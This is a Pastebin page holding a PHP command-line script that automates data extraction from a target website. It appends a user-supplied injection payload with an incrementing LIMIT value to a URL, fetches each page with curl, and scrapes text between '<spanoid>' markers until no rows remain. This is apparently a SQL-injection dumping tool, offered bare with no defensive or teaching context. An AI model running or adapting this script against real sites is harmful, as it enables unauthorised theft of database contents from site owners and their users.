Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $limit=$argv[2];
- unset($argv[0]);
- if($argc<=1){
- echo "Input something.";
- }
- else if($argc>=2){
- $input=$argv[1];
- /*
- hack for limiting
- $paylwa=$argv[3];
- $paylwa=str_replace('$limit', "$limit", $argv[3]);
- echo "\n\n".strpos($paylwa, '$limit');
- */
- }
- // crawl the contents for the first time
- function crwal($url){
- $chandle=curl_init();
- curl_setopt($chandle, CURLOPT_URL, $url);
- curl_setopt($chandle,CURLOPT_RETURNTRANSFER,true);
- return curl_exec($chandle);
- curl_close($chandle);
- }
- //crawling done
- //hack for limiting
- $paylo=$argv[3];
- $paylo=str_replace('$limit', "$limit", $paylo);
- $paylo=str_replace('%22', '"', $paylo);
- //echo $paylo;
- $payload=urlencode($paylo);
- //payload done after limiting
- @$fullurl=$input.$payload;
- echo "\n\n\nFull Query: ".$fullurl."\n\n\n";
- echo "..Fetching..";
- $fullurl=str_replace('%3F','?', $fullurl);
- $fullurl=str_replace('%3D','=', $fullurl);
- //
- $string=crwal($fullurl);
- echo "\n";
- //cleaning the content to get the required part
- function parse(){
- global $string;
- $string=$string;
- $parse=strpos($string,'<spanoid>');
- $string=stristr($string,'<spanoid>');
- $parse=stristr($string,'</spanoid>',1);
- $parse=str_replace('<spanoid>','',$parse);
- $parse=str_replace('<br>',"\n",$parse);
- return $parse;
- }
- //parsing done
- $final=parse();
- echo $final;
- $length=strlen($final);
- //condition to continue getting contents
- while(strlen($length)!=0){
- $limit+=1;
- $paylo=$argv[3];
- $paylo=str_replace('$limit', "$limit", $paylo);
- $paylo=str_replace('%22', '"', $paylo);
- $payload=urlencode($paylo);
- //echo $limit;
- //break;
- @$fullurl=$input.$payload;
- $fullurl=str_replace('%3F','?', $fullurl);
- $fullurl=str_replace('%3D','=', $fullurl);
- $string=crwal($fullurl);
- echo "\n";
- $final=parse();
- echo "\n";
- $length=strlen($final);
- if($length==0){
- die("\n\nthe data extraction has been completed\n\n");
- }
- echo $final;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement